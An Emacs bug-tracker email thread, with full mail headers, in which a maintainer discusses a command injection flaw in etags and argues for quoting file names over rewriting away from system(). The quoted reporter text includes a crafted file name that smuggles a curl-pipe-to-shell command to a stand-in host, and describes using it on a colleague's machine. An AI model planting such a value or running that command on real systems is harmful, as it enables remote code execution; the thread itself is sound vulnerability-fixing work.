From mboxrd@z Thu Jan 1 00:00:00 1970 Path: news.gmane.io!.POSTED.blaine.gmane.org!not-for-mail From: Eli Zaretskii Newsgroups: gmane.emacs.bugs Subject: bug#59817: [PATCH] Fix etags local command injection vulnerability Date: Mon, 05 Dec 2022 14:34:58 +0200 Message-ID: <834jua9ggd.fsf@gnu.org> References: <83r0xf9qsx.fsf@gnu.org> Injection-Info: ciao.gmane.io; posting-host="blaine.gmane.org:116.202.254.214"; logging-data="9868"; mail-complaints-to="usenet@ciao.gmane.io" Cc: Stefan Kangas , 59817@debbugs.gnu.org To: lux Original-X-From: bug-gnu-emacs-bounces+geb-bug-gnu-emacs=m.gmane-mx.org@gnu.org Mon Dec 05 13:36:53 2022 Return-path: Envelope-to: geb-bug-gnu-emacs@m.gmane-mx.org Original-Received: from lists.gnu.org ([209.51.188.17]) by ciao.gmane.io with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.92) (envelope-from ) id 1p2AiL-0002KJ-7Z for geb-bug-gnu-emacs@m.gmane-mx.org; Mon, 05 Dec 2022 13:36:53 +0100 Original-Received: from localhost ([::1] helo=lists1p.gnu.org) by lists.gnu.org with esmtp (Exim 4.90_1) (envelope-from ) id 1p2Aho-00009j-85; Mon, 05 Dec 2022 07:36:20 -0500 Original-Received: from eggs.gnu.org ([2001:470:142:3::10]) by lists.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1p2AhX-00005r-3k for bug-gnu-emacs@gnu.org; Mon, 05 Dec 2022 07:36:16 -0500 Original-Received: from debbugs.gnu.org ([209.51.188.43]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.90_1) (envelope-from ) id 1p2AhW-0003Xz-SA for bug-gnu-emacs@gnu.org; Mon, 05 Dec 2022 07:36:02 -0500 Original-Received: from Debian-debbugs by debbugs.gnu.org with local (Exim 4.84_2) (envelope-from ) id 1p2AhW-0000Lk-IL for bug-gnu-emacs@gnu.org; Mon, 05 Dec 2022 07:36:02 -0500 X-Loop: help-debbugs@gnu.org Resent-From: Eli Zaretskii Original-Sender: "Debbugs-submit" Resent-CC: bug-gnu-emacs@gnu.org Resent-Date: Mon, 05 Dec 2022 12:36:02 +0000 Resent-Message-ID: Resent-Sender: help-debbugs@gnu.org X-GNU-PR-Message: followup 59817 X-GNU-PR-Package: emacs X-GNU-PR-Keywords: patch Original-Received: via spool by 59817-submit@debbugs.gnu.org id=B59817.16702437371319 (code B ref 59817); Mon, 05 Dec 2022 12:36:02 +0000 Original-Received: (at 59817) by debbugs.gnu.org; 5 Dec 2022 12:35:37 +0000 Original-Received: from localhost ([127.0.0.1]:35755 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from ) id 1p2Ah6-0000LD-JB for submit@debbugs.gnu.org; Mon, 05 Dec 2022 07:35:36 -0500 Original-Received: from eggs.gnu.org ([209.51.188.92]:54324) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from ) id 1p2Ah4-0000L5-Rc for 59817@debbugs.gnu.org; Mon, 05 Dec 2022 07:35:35 -0500 Original-Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1p2Agy-0003L1-9x; Mon, 05 Dec 2022 07:35:28 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=References:Subject:In-Reply-To:To:From:Date: mime-version; bh=nF8MgGPWk+seFgasgRtgdS5nS3yq6c7tR4ZbmUBKjZI=; b=KXlnSGfxXfLD wrLH/EyHqLC2urIeYDLx2iwXxGJeBqORXmOGQQoVQ1KS/z2NABvPUxD4V+FptjNkxeaD8M7Hx1ksR gsl/dILDwihDBLa76w6HOMafzROSRV7bBVBpd58gF6ShiomWOSI3afF4yz9ECpu95SXAnxqkhJ21h 7kChMwAd4Dk2WQQMxyzMk6WRprxAxGtbDyXOlG+eqjUfQGUJ0JIgk3OO0wh9pF2nXcZyLjNiGLxTe Dz6F2smJAcDeo2vdqYc/JRA5pG+CF0rx5O7O9fykM05PIi9sfVdZdvatkrz8r1RJGs0Ypw6sP5SEs nfIJJ0vUWdylTNSIhJAUsA==; Original-Received: from [87.69.77.57] (helo=home-c4e4a596f7) by fencepost.gnu.org with esmtpsa (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1p2Agk-0002rM-4B; Mon, 05 Dec 2022 07:35:27 -0500 In-Reply-To: (message from lux on Mon, 5 Dec 2022 08:56:43 +0800) X-BeenThere: debbugs-submit@debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list X-BeenThere: bug-gnu-emacs@gnu.org List-Id: "Bug reports for GNU Emacs, the Swiss army knife of text editors" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: bug-gnu-emacs-bounces+geb-bug-gnu-emacs=m.gmane-mx.org@gnu.org Original-Sender: bug-gnu-emacs-bounces+geb-bug-gnu-emacs=m.gmane-mx.org@gnu.org Xref: news.gmane.io gmane.emacs.bugs:250013 Archived-At: [Please use Reply All to keep the bug tracker CC'ed.] > Date: Mon, 5 Dec 2022 08:56:43 +0800 > From: lux > > > Please understand: etags is a stable program. I'm not interested in > > changes that modify its design or implementation in such drastic ways. > > I understand, but not completely agree, stable != security. There are ways to plug the security holes in this case without completely rewriting large parts of the code. > Why use the system() function? This is a lazy, insecure little trick, > the exec*(such as execvp) function should be used first. We need > execute a command, but we don't need execute a shell script. I think you have a very idealized view of the alternative APIs. They don't share some disadvantages with 'system', but they have plenty of their own ones. Especially on non-Posix systems. > Example a case, In my team, some people like automatically pull new > code from code server, and use etags update tags, so I secretly uploaded > a new file, the file name is: > > $ touch "';curl myhost|sh #'a.z" > > when he automatically update the tags, I hacking his computer. Quoting should fix that. > So, I have two suggestions: > > 1. don't use system(), unless know what are doing. I don't see a reason in this case to rewrite the code not to use 'system'. > 2. escape all dangerous characters, just escaping quotes is not > enough, the following characters can perform additional actions: > > "$(ls)" > "`ls`" > "${SHELL}" > "$SHELL" > > I'm writing a new patch to escape dangerous characters, and test. There's no reason to try detecting which characters are dangerous and which aren't. We should instead quote all the file names that come from outside of the program, so that what's inside the quotes is interpreted verbatim.